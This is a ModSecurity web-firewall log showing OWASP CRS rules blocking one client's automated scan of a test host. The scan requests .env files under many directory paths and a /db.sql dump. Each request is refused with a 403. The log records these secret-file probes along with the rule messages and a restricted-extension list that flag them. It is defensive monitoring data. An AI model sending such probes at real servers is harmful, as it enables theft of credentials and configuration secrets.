[Mon Jul 28 20:46:07.137605 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/counterwallet/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1gAAAAU&quot;]
[Mon Jul 28 20:46:07.159356 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1wAAAAU&quot;]
[Mon Jul 28 20:46:07.159564 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1wAAAAU&quot;]
[Mon Jul 28 20:46:07.159716 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cp/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX1wAAAAU&quot;]
[Mon Jul 28 20:46:07.181837 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cronlab/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2AAAAAU&quot;]
[Mon Jul 28 20:46:07.182057 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2AAAAAU&quot;]
[Mon Jul 28 20:46:07.182217 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cronlab/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2AAAAAU&quot;]
[Mon Jul 28 20:46:07.204107 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /cryo_project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2QAAAAU&quot;]
[Mon Jul 28 20:46:07.204344 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2QAAAAU&quot;]
[Mon Jul 28 20:46:07.204548 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cryo_project/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2QAAAAU&quot;]
[Mon Jul 28 20:46:07.226296 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /css/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2gAAAAU&quot;]
[Mon Jul 28 20:46:07.226494 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2gAAAAU&quot;]
[Mon Jul 28 20:46:07.226635 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/css/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2gAAAAU&quot;]
[Mon Jul 28 20:46:07.248423 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /custom/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2wAAAAU&quot;]
[Mon Jul 28 20:46:07.248597 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2wAAAAU&quot;]
[Mon Jul 28 20:46:07.248738 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX2wAAAAU&quot;]
[Mon Jul 28 20:46:07.270543 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /d/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX3AAAAAU&quot;]
[Mon Jul 28 20:46:07.270729 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX3AAAAAU&quot;]
[Mon Jul 28 20:46:07.270880 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/d/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX3AAAAAU&quot;]
[Mon Jul 28 20:46:07.391183 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /data/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX4QAAAAU&quot;]
[Mon Jul 28 20:46:07.391365 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX4QAAAAU&quot;]
[Mon Jul 28 20:46:07.391510 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/data/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX4QAAAAU&quot;]
[Mon Jul 28 20:46:07.413269 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX4gAAAAU&quot;]
[Mon Jul 28 20:46:07.413483 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX4gAAAAU&quot;]
[Mon Jul 28 20:46:07.413642 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX4gAAAAU&quot;]
[Mon Jul 28 20:46:07.435634 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset1/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX4wAAAAU&quot;]
[Mon Jul 28 20:46:07.435822 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX4wAAAAU&quot;]
[Mon Jul 28 20:46:07.435976 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset1/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX4wAAAAU&quot;]
[Mon Jul 28 20:46:07.457821 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dataset2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX5AAAAAU&quot;]
[Mon Jul 28 20:46:07.457999 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX5AAAAAU&quot;]
[Mon Jul 28 20:46:07.458166 2025] [:error] [pid 1530492] [client 185.177.72.201:42762] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dataset2/.env&quot;] [unique_id &quot;aIfFbw9nLjdPblA-25FX5AAAAAU&quot;]
[Mon Jul 28 20:46:07.661278 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjbwAAAAc&quot;]
[Mon Jul 28 20:46:07.661580 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.sql&quot;] [unique_id &quot;aIfFb1cqnrybmcpdiyhjbwAAAAc&quot;]
